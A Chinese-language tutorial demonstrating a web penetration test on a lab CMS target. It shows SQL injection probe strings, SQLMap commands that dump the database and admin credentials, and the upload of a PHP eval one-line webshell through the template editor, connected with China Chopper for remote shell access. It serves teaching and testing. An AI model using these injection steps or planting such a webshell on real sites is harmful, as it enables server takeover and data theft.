網(wǎng)絡安全攻防:Web安全之滲透測試
本文基于某個開源的CMS搭建一個靶機,來演示W(wǎng)eb滲透整個過程。
1. SQL注入檢測
在訪問網(wǎng)站時收集資料,了解網(wǎng)站的各項接口、功能,手動測試其每一個參數(shù)是否存在注入。其中發(fā)現(xiàn)一個帶參數(shù)ID的頁面,如圖1所示。
圖1 帶參數(shù)ID的頁面
通過手動注入判斷該參數(shù)是否為注入點,發(fā)現(xiàn)當輸入id=10’and‘1’=’0時返回錯誤頁面,如圖2所示。
圖2 返回錯誤頁面
而當參數(shù)id=10’and‘1’=’1時仍然顯示為正確頁面,由此懷疑ID參數(shù)后面的and語句內(nèi)容被當作SQL語句一部分帶入執(zhí)行,此處可能存在SQL注入。
2. SQL注入利用
純粹的手工注入將花費大量時間和精力,此處利用SQLMap工具對此疑似SQL注入點的參數(shù)進行判斷。
利用SQLMap語句:
–u “http:/*.*.*.*/yx/index.php?r=default/column/content&col=products&id=10*”
判斷該URL是否存在注入,其中,*表示判斷該處參數(shù),其結果如圖3所示。
圖3 判斷注入結果
可見參數(shù) id 存在布爾注入、錯誤回顯注入、時間盲注等多種注入隱患。并且 SQLMap直接判斷出其后臺數(shù)據(jù)庫為MySQL 5.0,服務器為Apache2.4.3,腳本環(huán)境為PHP5.6.25。
利用SQLMap繼續(xù)查看數(shù)據(jù)庫內(nèi)容,其中利用–dbs參數(shù)查看所有數(shù)據(jù)庫發(fā)現(xiàn)共有5個庫,如圖4所示。
圖4 查看數(shù)據(jù)庫
猜測yx_test為該CMS的數(shù)據(jù)庫,繼續(xù)深入查看其內(nèi)容。利用–D 庫名–tables可查看指定庫的表名,如圖5所示。
圖5 查看指定庫的表名
共有20張表,需要得到管理員賬號密碼,因此,利用–T參數(shù)指定表dump其內(nèi)容。
于是得到了該表的結構以及其中數(shù)據(jù),并反解MD5,可以獲得一個登錄名為admin的賬號和密碼654321。
3. 后臺登錄getshell
進入后臺,如圖6所示。
圖6 進入后臺
繼續(xù)在后臺管理平臺上尋找可上傳Webshell的方法,以取得服務器Shell權限。
在進入到全局設置下前臺模板的管理模板文件功能后,發(fā)現(xiàn)有許多PHP文件,其中利用添加模板的功能可以直接在網(wǎng)頁上編寫PHP文件,并保存到服務器,如圖7所示。
圖7 編寫PHP文件
利用網(wǎng)頁編輯,寫入一個一句話木馬,其內(nèi)容為<?php eval($_POST['test']);?>,寫入到一個名為muma.php的文件,如圖8所示。
圖8 寫入木馬
木馬寫入成功,只需知道網(wǎng)頁地址即可訪問鏈接。
最后利用中國菜刀工具連接該木馬,如圖9所示。
圖9 連接木馬
成功連接站點,可以遠程下載、上傳任意文件,也可運行Shell執(zhí)行代碼。